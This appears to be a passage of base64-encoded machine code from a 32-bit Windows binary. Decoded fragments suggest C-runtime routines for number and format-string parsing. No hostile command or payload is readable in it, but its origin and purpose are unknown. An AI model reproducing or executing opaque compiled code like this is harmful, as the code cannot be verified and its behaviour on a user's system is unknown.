uMAAABmO02Icw0Pt8Et5gwAAOnLAAAAZjtN0A+CxgAAAGY7TcxzDQ+3wS1mDQAA6a4AAABmO03ED4KpAAAAZjtNvHMND7fBLVAOAADpkQAAAGY7TbQPgowAAABmO02scwoPt8Et0A4AAOt3ZjtNpHJ2ZjtNnHMKD7fBLSAPAADrYWY7TZRyYGY7TYxzCg+3wS1AEAAA60tmO02EckpmO418////cwoPt8Et4BcAAOsyZjuNdP///3IuZjuNbP///3MlD7fBLRAYAADrFmY7jWT///9zCg+3wS0Q/wAA6wODyP+D+P91OmY5jVz///93CWY7jVT///92DWaLwWYrRfRmO0Xwdxhmi8FmK0X0ZjtF8A+3wXcDg+ggg8DJ6wODyP87x3cmswE71nQGiAJCiVXoi00M6F5LAACLVehmi8hqMGaJTfhY6Yj9//+E23UmjY00////6KsfAACEwA+ErQUAADPAhP8PlMBIg+D7g8AH6eEFAAD/dfiLdQyLzug/XwAAi0YQi86JRdiLRhSJRdzoAksAAGaJRfgz2w+3wIrLg/hFdBSD+FB0CoP4ZXQKg/hwdQuKTf/rBjhd/w+Uwb9QFAAAhMkPhPEEAACLzujESgAAZovIai1YZjvIZolN+GorWg+Ux2Y7ynQFZjvIdQ6LzuigSgAAZovIZolN+GowM9JYitpmO8h1HbMBi87ohEoAAGaLyGowWGaJTfhmO8h06jPSZjvID4ILAgAAZjtNmHMLD7fBg+gw6fUBAABmO41I////D4PSAQAAZjuNYP///w+C4AEAAGY7TchzDQ+3wS1gBgAA6cgBAABmO02AD4LDAQAAZjtNwHMND7fBLfAGAADpqwEAAGY7jUz///8PgqMBAABmO024cw0Pt8EtZgkAAOmLAQAAZjuNeP///w+CgwEAAGY7TbBzDQ+3wS3mCQAA6WsBAABmO41Y////D4JjAQAAZjtNqHMND7fBLWYKAADpSwEAAGY7jXD///8PgkMBAABmO02gcw0Pt8Et5goAAOkrAQAAZjuNRP///w+CIwEAAGY7TdRzDQ+3wS1mCwAA6QsBAABmO41o////D4IDAQAAZjtNkHMND7fBLWYMAADp6wAAAGY7jVD///8PguMAAABmO02Icw0Pt8Et5gwAAOnLAAAAZjtN0A+CxgAAAGY7TcxzDQ+3wS1mDQAA6a4AAABmO03ED4KpAAAAZjtNvHMND7fBLVAOAADpkQAAAGY7TbQPgowAAABmO02scwoPt8Et0A4AAOt3ZjtNpHJ2ZjtNnHMKD7fBLSAPAADrYWY7TZRyYGY7TYxzCg+3wS1AEAAA60tmO02EckpmO418////cwoPt8Et4BcAAOsyZjuNdP///3IuZjuNbP///3MlD7fBLRAYAADrFmY7jWT///9zCg+3wS0Q/wAA6wODyP+D+P91OmY5jVz///93CWY7jVT///92DWaLwWYrRfRmO0Xwdxhmi8FmK0X0ZjtF8A+3wXcDg+ggg8DJ6wODyP+D+ApzLmvSCrMBA9CJVew7138Zi87oC0gAAItV7GaLyGowZolN+Fjphv3//8dF7FEUAABqMFpmO8oPgo4BAABmO02YcwoPt8Erwul5AQAAi5VI////ZjvKD4NaAQAAi5Vg////ZjvKD4JgAQAAZjtNyHLSi1WAZjvKD4JOAQAAZjtNwHLAi5VM////ZjvKD4I5AQAAZjtNuHKri5V4////ZjvKD4IkAQAAZjtNsHKWi5VY////ZjvKD4IPAQAAZjtNqHKBi5Vw////ZjvKD4L6AAAAZjtNoA+CaP///4uVRP///2Y7yg+C4QAAAGY7TdQPgk////+LlWj///9mO8oPgsgAAABmO02QD4I2////i5VQ////ZjvKD4KvAAAAZjtNiA+CHf///4tV0GY7yg+CmQAAAGY7TcwPggf///+LVcRmO8oPgoMAAABmO028D4Lx/v//i1W0ZjvKcnFmO02sD4Lf/v//i1WkZjvKcl9mO02cD4LN/v//i1WUZjvKck1mO02MD4K7/v//i1WEZjvKcjtmO418////D4Km/v//i5V0////ZjvKciNmO41s////cxrpjf7//2Y7jWT///8PgoD+//+DyP+D+P91JGY5jVz///93CWY7jVT///92KotV9GaLwWYrwmY7RfB2HoPI/4P4CnMti87oKEYAAGaLyGaJTfjpKv7//4tV9GaLwWYrwmY7RfAPt8F3A4PoIIPAyevOhP90A/dd7ITbdRqNjTT////oWhoAAITAdGCLzujhRQAAZolF+Itd7P91+IvO6PpZAACLdRCLTeiNVgg7ynRYgHn/AHUFSTvKdfU7ynRJO99/JL+w6///O998JzPAOEX/D5TASIPgA0APr0XgA9iB+1AUAAB+CGoJ6x9qB+sbO999BGoI6xMzwIkeK8o4Rf+JTgQPlcDrKmoCWOsl/3XcjUX4/3XYV1DovgIAAOsQ/3XcjUX4/3XYV1DoywAAAIPEEF5fW4vlXcOL/1WL7IPsEFOLXQiNRRBWM/aJRfhXi30Mi8aJffCJXfSJdfyKCzqIMMoDEHQIOog0ygMQdWeLz+jDRAAAisiLRfxAiAuJRfyD+AN111GLz+jOWAAAi0cQi8+JRRCLRxSJRRTomEQAAIgDigM6hjjKAxB0CDqGQMoDEHUti8/ofUQAAEaIA4P+BXXfUIvP6JBYAABqA1hfXluL5V3DjU3w6NkYAABqB+vsjU3w6M0YAAAzyYTAD5TBjQSNAwAAAOvVi/9Vi+yD7BBTi10IjUUQVjP2iUX4V4t9DIvGiX3wiV30iXX8D7cLZjuIUMoDEHQJZjuIWMoDEHVyi8/oOUQAAGaLyItF/IPAAmaJC4lF/IP4BnXQUYvP6EdYAACLRxCLz4lFEItHFIlFFOgKRAAAZokDD7cDZjuGYMoDEHQJZjuGbMoDEHUwi8/o60MAAIPGAmaJA4P+CnXZUIvP6AJYAABqA1hfXluL5V3DjU3w6DQYAABqB+vsjU3w6CgYAAAzyYTAD5TBjQSNAwAAAOvVi/9Vi+yD7AxTVot1CI1FEFeLfQwz24l99Il1+IlF/IoGOoNIygMQdAg6g0zKAxB1SovP6DhDAABDiAaD+wN131CLz+hLVwAAi0cQi8+JRRCLRxSJRRToFUMAAIgGPCh0KY1N9OiFFwAAD7bA99gbwIPg/YPAB+mQAAAAjU306GsXAABqB+mAAAAAi8/o30IAAFdWiAboHgIAAFlZhMB0BGoF6w9XVuiTAQAAWVmEwHQSagYPthaLz1tS6NRWAACLw+tIgD4pdECKBoTAdDEPvsiNQdCD+Al2GY1Bn4P4GXYRjUG/g/gZdgmD+V8PhW////+Lz+h3QgAAiAY8KXXJgD4pD4VZ////agRYX15bi+Vdw4v/VYvsg+wQU1aLdQiNRRBXi30MM9uJffCJdfSJRfjHRfwGAAAAD7cGZjuDeMoDEHQJZjuDgMoDEHVQi8/oVkIAAIPDAmaJBoP7BnXZUIvP6G1WAACLRxCLz4lFEItHFIlFFOgwQgAAZokGZoP4KHQpjU3w6I0WAAAPtsD32BvAg+D9g8AH6ZoAAACNTfDocxYAAGoH6YoAAACLz+j3QQAAV1ZmiQboNQEAAFlZhMB0CcdF/AUAAADrDVdW6KUAAABZWYTAdBAPtxaLz1Lo8FUAAItF/OtOailbZjkedEMPtwZmhcB0MovIjUHQg/gJdhmNQZ+D+Bl2EY1Bv4P4GXYJg/lfD4Vn////i8/oh0EAAGaJBmY7w3XGZjkeD4VP////agRYX15bi+Vdw4v/VYvsU1Yz21eLfQiL84oHOoaYygMQdAg6hpzKAxB1EotNDOgJQQAARogHg/4Edd6zAV9eisNbXcOL/1WL7FNWM9tXi30Ii/MPtwdmO4a4ygMQdAlmO4bAygMQdRWLTQzoBkEAAIPGAmaJB4P+CHXYswFfXorDW13Di/9Vi+xTVjPbV4t9CIvzigc6hojKAxB0CDqGkMoDEHUSi00M6I9AAABGiAeD/gV13rMBX16Kw1tdw4v/VYvsU1Yz21eLfQiL8w+3B2Y7hqDKAxB0CWY7hqzKAxB1FYtNDOiMQAAAg8YCZokHg/4KddizAV9eisNbXcOL/1WL7ItFCIP4CQ+HmQAAAP8khXhPAhD/dRD/dQzoreX//1lZXcP/dRD/dQzo5OX//+vvi0UMM8k4iAgDAAAPlcHB4R+LRRCJCDPAXcOLRQwzyTiICAMAAA+VwcHhH4HJAACAf+vei0UMM8k4iAgDAAAPlcHB4R+Byf///3/rxYtFDDPJOIgIAwAAD5XBweEfgckBAIB/66yLRRDHAAAAwP/rpotFEIMgADPAQF3Di0UMM8lqAjiICAMAAA+VwcHhH4tFEIkIWF3Di0UMM8lqAziICAMAAA+VwcHhH4HJAACAf+vdjUkAqE4CELdOAhDETgIQ3k4CEPdOAhAQTwIQKU8CEDRPAhA/TwIQWk8CEIv/VYvsi0UIg/gJD4eRAAAA/ySFfFACEP91EP91DOjA5P//WVldw/91EP91DOj35P//6++LRQz/dRAPtoAIAwAAUOjM4v//WVkzwF3Di0UM/3UQD7aACAMAAFDoYuH//+vli0UM/3UQD7aACAMAAFDojOH//+vQi0UM/3UQD7aACAMAAFDotuH//+u7/3UQ6P/g///rsv91EGoA6HPi//9ZWTPAQF3Di0UM/3UQD7aACAMAAFDoWeL//1lZagJYXcOLRQz/dRAPtoAIAwAAUOju4P//WVlqA+vki/+4TwIQx08CENRPAhDtTwIQAlACEBdQAhAsUAIQNlACEEdQAhBhUAIQi/9Vi+yD7ECNTQxWV+giUwAAhMB0IYt9LIX/dCWD/wJ8BYP/JH4b6HV+AADHABYAAADoM3sAADPAi9CL8OlUAgAAU/91CI1NwOgBtP//M8CNTQyJRfiL8ItFHIlF0ItFIIlF1OjBPQAAitiNRcRQaggPtstR6xSNTQzoqz0AAIrYjUXEUGoID7bDUIhd/Og9VQAAg8QMhcB13ThFMA+VwIlF9ID7LXUIg8gCiUX06wWA+yt1DY1NDOhtPQAAitiIXfyDyf+JTfCF/3QFg/8QdXuKwywwPAl3CA++w4PA0OsiisMsYTwZdwgPvsODwKnrEorDLEE8GXcID77Dg8DJ6wKLwYXAdAmF/3VBagpf6zyNTQzoEj0AAIhF6Dx4dBg8WHQUhf91A2oIX/916I1NDOgYUQAA6xKF/3UDahBfjU0M6OQ8AACIRfyDyf+Lx5lSUFFRiUXYiVXc6H4fAQCJTeCKTfyJXeSLXfSJReyJVeiKwSwwPAl3CA++0YPC0OsjisEsYTwZdwgPvtGDwqnrE4rBLEE8GXcID77Rg8LJ6wODyv+JVfSD+v90XjvXc1qLTfiDywg7dehyJYtF7HcEO8hyHDvIdRM7deh1DjPAO0Xkcgx3BTtV4HYFg8sE6xhWUf913P912OiQHwEAA0X0i/KJRfiD1gCNTQzoKzwAAIrIiE386Wf/////dfyNTQzoOVAAAPbDCHUX/3XUjU0M/3XQ6LRDAAAzwIlF8Ivw60CLffhWV1PoDeL//4PEDITAdDPoWnwAAMcAIgAAAPbDAXUJg8j/i/iL8Osm9sMCdAuDZfAAvgAAAIDrBb7///9/i1Xw6w72wwJ0B/ffg9YA996L14B9zABbdAqLRcCDoFADAAD9M8CLfSSF/3QKi00cC00gdQKIB4vCi9ZfXovlXcOL/1WL7IPsQI1NDFNW6HFQAACEwHQhi10shdt0JYP7AnwFg/skfhvoxHsAAMcAFgAAAOiCeAAAM8CL0IvY6aIFAAD/dQiNTcDoUbH//zPAiUX4iUXwi0UciUXQi0UgiUXUjU0M6Eo7AAAPt/BqCFbov7AAAFlZhcB15zPAOEUwD5XAiUX8ZoP+LXUIg8gCiUX86wZmg/4rdQuNTQzoEjsAAA+38FdqMFmDz//HReg6AAAAiX3suBD/AABqGVqF23QJg/sQD4UfAgAAZjvxD4KaAQAAZjt16HMKD7fGK8HphgEAAGY78A+DZwEAALlgBgAAZjvxD4JzAQAAjUEKZjvwcte58AYAAGY78Q+CXQEAAI1BCmY78HLBuWYJAABmO/EPgkcBAACNQQpmO/Byq41IdmY78Q+CMwEAAI1BCmY78HKXjUh2ZjvxD4IfAQAAjUEKZjvwcoONSHZmO/EPggsBAACNQQpmO/APgmv///+NSHZmO/EPgvMAAACNQQpmO/APglP///+5ZgwAAGY78Q+C2QAAAI1BCmY78A+COf///41IdmY78Q+CwQAAAI1BCmY78A+CIf///41IdmY78Q+CqQAAAI1BCmY78A+CCf///7lQDgAAZjvxD4KPAAAAjUEKZjvwD4Lv/v//jUh2ZjvxcnuNQQpmO/APgtv+//+DwVBmO/FyZ4PAUGY78A+Cx/7//7lAEAAAZjvxclGNQQpmO/APgrH+//+54BcAAGY78XI7jUEKZjvwD4Kb/v//g8EwZjvxcieDwDBmO/BzH+mG/v//uBr/AABmO/BzCg+3xi0Q/wAA6wKLxzvHdS1qQVhmO8Z3CGpaWGY78HYIjUafZjvCdxONRp9mO8IPt8Z3A4PoIIPAyesCi8eFwHQMhdt1R2oKW4ldLOs/jU0M6AE5AAAPt8CD+Hh0GoP4WHQVhdt1BmoIW4ldLFCNTQzoC00AAOsVhdt1BmoQW4ldLI1NDOjNOAAAD7fwi8OZi8qJRdhRUFdXiU3c6C4bAQCJReiLwolN4Ild5IlF9GowWWY78Q+CjgEAAGo6WmY78g+CdAEAALkQ/wAAZjvxD4NcAQAAuWAGAABmO/EPgmYBAACNUQpmO/IPgkwBAAC58AYAAGY78Q+CTAEAAI1RCmY78g+CMgEAALlmCQAAZjvxD4IyAQAAjVEKZjvyD4IYAQAAjUp2ZjvxD4IaAQAAjVEKZjvyD4IAAQAAjUp2ZjvxD4ICAQAAjVEKZjvyD4LoAAAAjUp2ZjvxD4LqAAAAjVEKZjvyD4LQAAAAjUp2ZjvxD4LSAAAAjVEKZjvyD4K4AAAAuWYMAABmO/EPgrgAAACNUQpmO/IPgp4AAACNSnZmO/EPgqAAAACNUQpmO/IPgoYAAACNSnZmO/EPgogAAACNUQpmO/JycrlQDgAAZjvxcnaNUQpmO/JyYI1KdmY78XJmjVEKZjvyclCDwVBmO/FyVoPCUGY78nJAuUAQAABmO/FyRI1RCmY78nIuueAXAABmO/FyMo1RCmY78nIcg8EwZjvxciKDwjBmO/JzGusKuhr/AABmO/JzBQ+3/iv5g8n/O/l1PQv5akFYZjvGdwhqWlhmO/B2DWoZjUafWWY7wXcW6wNqGVmNRp8Pt/5mO8F3A4PvIIPHyYtF9IPJ/zv5dHI7fSxzbYtN/Itd8IPJCIlN/DvYciuLRfiLVeh3BDvCch87wnUTO130dQ4zwDtF5HIPdwU7feB2CIPJBIlN/OscU/91+P913P912OicGQEAA8eL2olF+IPTAIld8I1NDOhvNgAAD7fwg8//i0X06bn9//9WjU0M6IJKAACLRfxfqAh1F/911I1NDP910Oi5PQAAM8CJReyL2OtEi13wi3X4U1ZQ6A/c//+DxAyEwHQ06Fx2AADHACIAAACLRfyoAXUJg8j/i/CL2OsmqAJ0C4Nl7AC7AAAAgOsFu////3+LVezrD/ZF/AJ0B/feg9MA99uL1oB9zAB0CotFwIOgUAMAAP0zwIt1JIX2dAqLTRwLTSB1AogGi8KL015bi+Vdw4v/VYvsg+wM2e6NRfhWUIPsIMZF/wCL8Y1F/4vM2V34UP92NI1GCP92MFBR6Krb//+DxBT/dmjovdv//4PEKIB9/wB0HIP4AXQXgH4uAHQEsAHrD41F+IvOUOhEBwAA6wIywF6L5V3Di/9Vi+yD7AzZ7o1F+FZQg+wgxkX/AIvxjUX/i8zZXfhQ/3Y8jUYI/3Y4UFHoQtv//4PEFP92UOhL3P//g8QogH3/AHQcg/gBdBeAfjAAdASwAesPjUX4i85Q6BMHAADrAjLAXovlXcOL/1WL7IPsENnujUXwVlCD7CDGRf8Ai/GNRf+LzN1d8FD/djSNRgj/djBQUeja2v//g8QU/3Zo6Gjb//+DxCiAff8AdByD+AF0F4B+LgB0BLAB6w+NRfCLzlDo4gYAAOsCMsBei+Vdw4v/VYvsg+wQ2e6NRfBWUIPsIMZF/wCL8Y1F/4vM3V3wUP92PI1GCP92OFBR6HLa//+DxBT/dlDo9tv//4PEKIB9/wB0HIP4AXQXgH4wAHQEsAHrD41F8IvOUOi3BgAA6wIywF6L5V3Di/9Vi+yD7BxTVovxM9tXOF4udTqDRmwEi05si1n8hdt1F+gqdAAAxwAWAAAA6OhwAAAywOkgAQAAiwaD4AGDyAB0C41BBIlGbIt4/OsDg8//hf91IYsGg+AEC8d0C41OCOjnMwAAxgMA6ONzAADHAAwAAADrvIN9CACLRjCJRfCLRjSJReyJXeiJffx0C4P//3QGjUf/iUX8M9IzyYtF8AtF7IlN+IlV9HQKO1XwdQU7Tex0ZY1OCOiQMwAAUP91CIvOiUXk6PgzAACEwHQ5gH4uAHUXi0X8hcB0HotN6ItV5IgRQUiJTeiJRfyLVfSLTfiDwgGD0QDro4P//w+EZv///+le////i1XkjU4IUuhvRwAAi034i1X0i8ILwQ+EDv///4N9CAB1GDtV8HUFO03sdA6LBoPgBIPIAA+E8P7//4B+LgB1D4N9CAB0BotF6MYAAP9GcLABX15bi+VdwggAi/9Vi+yD7BxTVovxM9tXOF4wdTqDRlQEi05Ui1n8hdt1F+jIcgAAxwAWAAAA6IZvAAAywOkpAQAAiwaD4AGDyAB0C41BBIlGVIt4/OsDg8//hf91IYsGg+AEC8d0C41OCOibMgAAxgMA6IFyAADHAAwAAADrvIN9CACLRjiJRfCLRjyJReyJXeSJffR0C4P//3QGjUf/iUX0M9IzyYtF8AtF7IlN/IlV+HQKO1XwdQU7Tex0bo1OCOhEMgAAD7fAi85Q/3UIiUXo6NkyAACEwHRAgH4wAHUeg330AHQm/3XojUX0i85QjUXkUFdT6ERHAACEwHQni1X4i038g8IBg9EA65mD//8PhFz////pVP////916I1OCOgjRgAAi1X4i038i8ILwQ+EBf///4N9CAB1GDtV8HUFO03sdA6LBoPgBIPIAA+E5/7//4B+MAB1D4N9CAB0BotF5MYAAP9GWLABX15bi+VdwggAi/9Vi+yD7BxTVovxM9tXOF4udTqDRmwEi05si1n8hdt1F+hdcQAAxwAWAAAA6BtuAAAywOkqAQAAiwaD4AGDyAB0C41BBIlGbIt4/OsDg8//hf91I4sGg+AEC8d0DY1OCOgaMQAAM8BmiQPoFHEAAMcADAAAAOu6g30IAItGMIlF8ItGNIlF7Ild5Il99HQLg///dAaNR/+JRfQz0jPJi0XwC0XsiU38iVX4dAo7VfB1BTtN7HRrjU4I6MEwAABQ/3UIi86JRejoKTEAAITAdECAfi4AdR6DffQAdCb/deiNRfSLzlCNReRQV1PoaUUAAITAdCeLVfiLTfyDwgGD0QDrnIP//w+EX////+lV/////3XojU4I6JpEAACLVfiLTfyLwgvBD4QG////g30IAHUYO1XwdQU7Tex0DosGg+AEg8gAD4To/v//gH4uAHURg30IAHQIi0XkM8lmiQj/RnCwAV9eW4vlXcIIAIv/VYvsg+wcU1aL8TPbVzheMHU6g0ZUBItOVItZ/IXbdRfo8W8AAMcAFgAAAOivbAAAMsDpKgEAAIsGg+ABg8gAdAuNQQSJRlSLePzrA4PP/4X/dSOLBoPgBAvHdA2NTgjoxC8AADPAZokD6KhvAADHAAwAAADruoN9CACLRjiJRfCLRjyJReyJXeiJffx0C4P//3QGjUf/iUX8M9IzyYtF8AtF7IlN+IlV9HQKO1XwdQU7Tex0a41OCOhrLwAAD7fAi85Q/3UIiUXk6AAwAACEwHQ8gH4wAHUai0X8hcB0IYtN6ItV5GaJEYPBAkiJTeiJRfyLVfSLTfiDwgGD0QDrnYP//w+EYP///+lW////i1XkjU4IUuhNQwAAi034i1X0i8ILwQ+EBv///4N9CAB1GDtV8HUFO03sdA6LBoPgBIPIAA+E6P7//4B+MAB1EYN9CAB0CItF6DPJZokI/0ZYsAFfXluL5V3CCACL/1WL7FOLTQjomi4AAIvYg/v/dBX/dQwPtstqCFHouEUAAIPEDIXAddyLw1tdw4v/VYvsVotNCOiBLgAAD7fwuP//AABmO/B0DmoIVuidowAAWVmFwHXdZovGXl3Di/9Vi+yDQWwEi0Fsi1D8hdJ1FOg2bgAAxwAWAAAA6PRqAAAywOsMi0UI/0FwiwCJArABXcIEAIv/VYvsg0FUBItBVItQ/IXSdRTo/20AAMcAFgAAAOi9agAAMsDrDItFCP9BWIsAiQKwAV3CBACL/1WL7INBbASLQWyLUPyF0nUU6MhtAADHABYAAADohmoAADLA6xL/QXCLTQiLAYkCi0EEiUIEsAFdwgQAi/9Vi+yDQVQEi0FUi1D8hdJ1FOiLbQAAxwAWAAAA6ElqAAAywOsS/0FYi00IiwGJAotBBIlCBLABXcIEAIv/VYvsi0UIi9FTM9tXiQKNeiyLRQyJQgSLRRBqCIlCCDPAWYlaDPOrX4laEIvCZolaFIhaFolaGIlaHIlaIIhaJIlaKFtdwgwAi/9Vi+yLRQgz0okBi0UMiUEEi0UQiUEIM8CJUQyJUTSJQRSLwYlREIhRGIlRIIlRJIlRKIhRLIlRMF3CDACL/1WL7ItFCINhEACDYRQAiQGLRQyJQQiLRRCJQQyLRRSJQRiFwHQDxgABi8FdwhAAi/9Vi+yLVQyLRRBTVot1CIvZV/91FIkTjXsIiUMEjUsYpVBSpaXoHP///4tFGINjcACDY3QAiUNoi0UcX4lDbIvDXltdwhgAi/9Vi+yLVQyLRRBTVot1CIvZV/91FIkTjXsIiUMEjUsYpVBSpaXoHv///4tFGINjWACDY1wAiUNQi0UcX4lDVIvDXltdwhgAi/9Vi+xWi/H/NuiLZQAAi1UIgyYAWYsCiQaLxoMiAF5dwgQAi/9Wi/GLRgSLDg+2AFDokj8AAItGBMYAAItGCIsO/3AE/zDoCzMAAF7Di/9Wi/GLRgSLDg+3AFDoqT8AAItGBDPJZokIi0YIiw7/cAT/MOjfMgAAXsOL/1NWi/Ez2zleDHQHMsDpCQEAAItGCIleEGaJXhSIXhaJXhiJXhyJXiCIXiSJXig4GHUJx0YQAQAAAOvQD7YAUOgGaQAAWYXAdCTHRhACAAAA6wP/RgiLRggPtgBQ6OloAABZhcB17LAB6a4AAACLTgiAOSUPhYAAAACNQQGAOCV0eMdGEAQAAACJRgiAOCp1CEDGRhYBiUYIi87oLDUAAITAD4Rk////i87o6DcAAIvO6Ic6AACLzuhEMgAAhMAPhEf///9rTigMi0YgOJwBuMkDEHWSiV4QZoleFIheFoleGIleHIleIIheJIleKMdGDBYAAADpEv///8dGEAMAAACKAYhGFDPAgDklUw+UwEEDwYvOiUYI6Mw5AABeW8OL/1aL8TPJOU4MdAQywF7DM8CJThCJRhSLRgiIThiJTiCJTiSJTiiITiyJTjBmOQh1CcdGEAEAAADr0Q+3AGoIUOiAnwAAWVmFwHQmx0YQAgAAAOsEg0YIAotGCGoID7cAUOhfnwAAWVmFwHXo6YwAAACLTghqJVpmORF1ZI1BAmY5EHRci87HRhAEAAAAiUYI6AM0AACLzuivNAAAhMAPhGf///+LzujsNwAAi87oiTkAAIvO6JMyAACEwA+ESv///2tOMAyLRiiAvAG4yQMQAHUrahaLzui2MAAA6Sv////HRhADAAAAZosBZolGFDPAZjkRD5TAQI0EQYlGCLABXsOAeQQAdAOLAcNqAGifAQAAaGDIAxBoyMgDEGgkyQMQ6DZmAADMgHkEAHUDiwHDagBopQEAAGhgyAMQaEDJAxBonMkDEOgRZgAAzIv/VYvsi00MgHkEAHQS6KP///9Q/3UI6DjL//9ZWV3D6Lb///8zyThNCA+VwcHhH4HJAACAf4kIXcOL/1WL7IPsJFNWi3UMM9tXi30IO/N3FoP//3cRD73HiV3cdAWNSAHrFIvL6xAPvcaJXdyNSAF1AovLg8Egi0UcM9KKQASEwIhF/w+UwjPASoPiHYPCGCvRi00QK8qJVfQ4Rf+JTfgPlMBIJYADAACDwH+JRfA7yH4V/3Uc/3UU6EL///9ZWWoDWOm3AgAAM8A4Rf8PlMBIJYD8//+DwII7yA+NNQEAAItF8EgDwYtN8APC99mJReyJTfiFwA+JEgEAAPfYiUXwg/hAD4PwAAAAjUj/M9IzwEDoOwsBAItN8IlF6IPA/4lF4IvCg9D/iVXkiUXcM9IzwEDoGgsBACPHxkX9ASPWC8J1A4hd/YtF6ItN5CPHI84LwbEBdQKKy4hN/zhdGHQQi0Xgi1XcI8cj1gvCisN0ArABiEX+hMl1BITAdDXoKJ4AAIXAdBs9AAEAAHQMPQACAAB1HopdFOsZOF0UD5TD6xE4Xf90DDhd/nUFOF39dAKzAYtN8IvHi9boswoBAIv4i/IPtsOZA/iLxxPyC8Z0KYtNHOgYIgAAO/IPgl0BAAB3CDv4D4ZTAQAAi10QK13sK130S+lHAQAA/3Uc/3UU6A8DAABZWWoC6bT+//+LTezpGwEAAIXSD4kOAQAA99qJVfSD+kByCYv7i/PpwQAAADPAjUr/QDPS6BQKAQCLTfSJRdyDwP+JReSLwoPQ/4lV4IlF6DPSM8BA6PMJAQAjx8ZF/wEj1gvCdQOIXf+LRdyLTeAjxyPOC8GxAXUCisuITf04XRh0EItF5ItV6CPHI9YLworDdAKwAYhF/oTJdQSEwHQ16AGdAACFwHQbPQABAAB0DD0AAgAAdR6KXRTrGThdFA+Uw+sROF39dAw4Xf51BThd/3QCswGLTfSLx4vW6IwJAQCL+IvyD7bDmQP4E/KLTRzoxCcAADvyckB3BDv4djqLTRwzwItd+A+s9wHR7kM4QQQPlMBIJYADAACDwH872H4bUemK/f//fhCLTfSL1ovH6BgJAQCL8ov4i134i00c6KggAAAj+CPyi0Uci8iAeAQAdBPoWfz//1BWV1P/dRTo3cj//+sR6Gv8//9QVldT/3UU6JrI//+DxBRfXluL5V3Di/9Vi+yD7Bwz0lOLXRhWV4t9DDhTBA+UwkqD4h2DwheD/0B3OYtNCIM5AHYFi3EE6wIz9oM5AXYFi0kI6wIzyYB9FABTD5TAD7bAUP91EDPAA8ZSg9EAUVDpIQEAAIvHwe8Fg+AfiUXkjXf+hcB1UYvOweEFA8qLVQiLFLqLfQgDRLcEiUXsg9IAgH0UAIlV9A+UwohV8IX2dBmDxwSDPwCNfwQPlMAi0IPuAXXwi0XsiFXwU/918P91EFH/dfTrlzPbiXX8wWX8BYvIAUX8QwFV/Ild+NNl+P9N+GpAWSvIi0UIiU3og8Hgi1SwBIsEuIlV7DPS6NEHAQCLTeiJRfSLRQiJVfAz0otEuASLffgjx+i1BwEAAUX0i8eLTeT30BFV8DPSI0Xs6L4HAQCLTfQDyItF8IlN9BPCgH0UAIlF8HUFhX3sdAIy24hd+IX2dB+LTQiDwQSDOQCNSQQPlMAi2Ihd+IPuAXXti030i0Xw/3UY/3X4/3UQ/3X8UFHoMPv//4PEGF9eW4vlXcOL/1WL7ItNDIB5BAB0EuiP+v//UP91COh1x///WVldw+ii+v//M8k4TQgPlcHB4R+JCF3Di/9Vi+yB7CwLAAChGAAGEDPFiUX8i00MM8BTVlc4QQSLfQgPlMCJvbD2//9IiY2o9v//g+Adix+DwBmJhaz2//+F23kCM9uLRwSLyzvYcgKLyIPACI1XCAPHA9GJhcT2//8r2SvCiZ3M9v//g8cIiYXg9v//M8CJldT2//8z9omF6Pb//zPJiYUs/v//ibXk9v//ib3c9v//O/p1DYvY6WsGAACLhej2//+D+QkPhTcBAACFwA+EkwAAAIud6Pb//zPJM/a/AMqaO4uEtTD+///35wPBiYS1MP7//4PSAEaLyjvzdeSLvdz2//+LhSz+//+FyXRMg/hzcxaJjIUw/v//i4Us/v//QImFLP7//+sxg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoJsIAAIuFLP7//4PEEIu15Pb//4mF6Pb//4X2D4SCAAAAM9KFwHQeM8ABtJUw/v//E8BCi/CLhSz+//+Jhej2//870HXihfZ0WoP4c3McibSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6JjBAACLnSz+//+DxBCJnej2///rBoud6Pb//4uV1Pb//zP2M8nrBoud6Pb//w+2B2v2CgPwQUeJteT2//+Jvdz2//87+g+Flv7//4XJD4TzBAAAi8Ez0moKWffxiYXI9v//i8qJjbj2//+FwA+EfwMAAIP4JnYDaiZYD7YMhZ7HAxAPtjSFn8cDEIv5iYXQ9v//wecCV40EMYmFvPj//42FwPj//2oAUOiKg///i8bB4AJQi4XQ9v//D7cEhZzHAxCNBIWYvgMQUI2FwPj//wPHUOgQBwEAi4W8+P//M8lBg8QYO8EPh7MAAACLtcD4//+F9nUaM8CJhez2//+JhSz+//9QjYXw9v//6Z0CAAA78XUHisHptQIAAIXbdPUzyTP/i8b3pL0w/v//A8GJhL0w/v//g9IAR4vKO/t15IXJdE+LhSz+//+D+HNzFomMhTD+//+LnSz+//9DiZ0s/v//6zQz242FwPj//4mdvPj//1NQjYUw/v//iZ0s/v//aMwBAABQ6BLAAACKw+kvAgAAi50s/v//sAHpKwIAADvZD4eOAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6M2/AACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpwAEAAIudLP7//0CJnej2//87+A+EyAEAAIXbD4TAAQAAM8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeTpCv///zvDjbXA+P//D5LBhMl1II21MP7//42VwPj//4mV3Pb//4TJdBKL0ImV6Pb//+sQjZUw/v//6+SL04md6Pb//4TJdQKL2DPJM/+JjVz8//+F0g+EDwEAAI2FYPz//yvwibW09v//jQS+i4QFYPz//4mFpPb//4XAdR07+Q+F3AAAACGEvWD8//+NTwGJjVz8///pxwAAADPSM8CJldj2//+L94mFvPb//4XbD4SYAAAAg/5zdFs78XUXg6S1YPz//wBAA8eJhVz8//+Lhbz2//+Ljdz2//+LBIH3paT2//8Dhdj2//+D0gABhLVg/P//i4W89v//i41c/P//g9IAQImV2Pb//0aJhbz2//87w3WghdJ0NIP+cw+E7AAAADvxdRGDpLVg/P//AI1GAYmFXPz//4vCM9IBhLVg/P//i41c/P//E9JG68iD/nMPhLgAAACLlej2//+LtbT2//9HO/oPhf/+//+LwYmNLP7//8HgAlCNhWD8//9QaMwBAACNhTD+//9Q6N69AACwAYudLP7//4PEEImd6Pb//4TAdDGLhcj2//8rhdD2//+Jhcj2//8PhYf8//+Ljbj2//+FyQ+EtwAAAIs8jTTIAxCF/3VMg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDocL0AAIuFLP7//4PEEImF6Pb//+t5M9uNhfD2//+Jnez2///p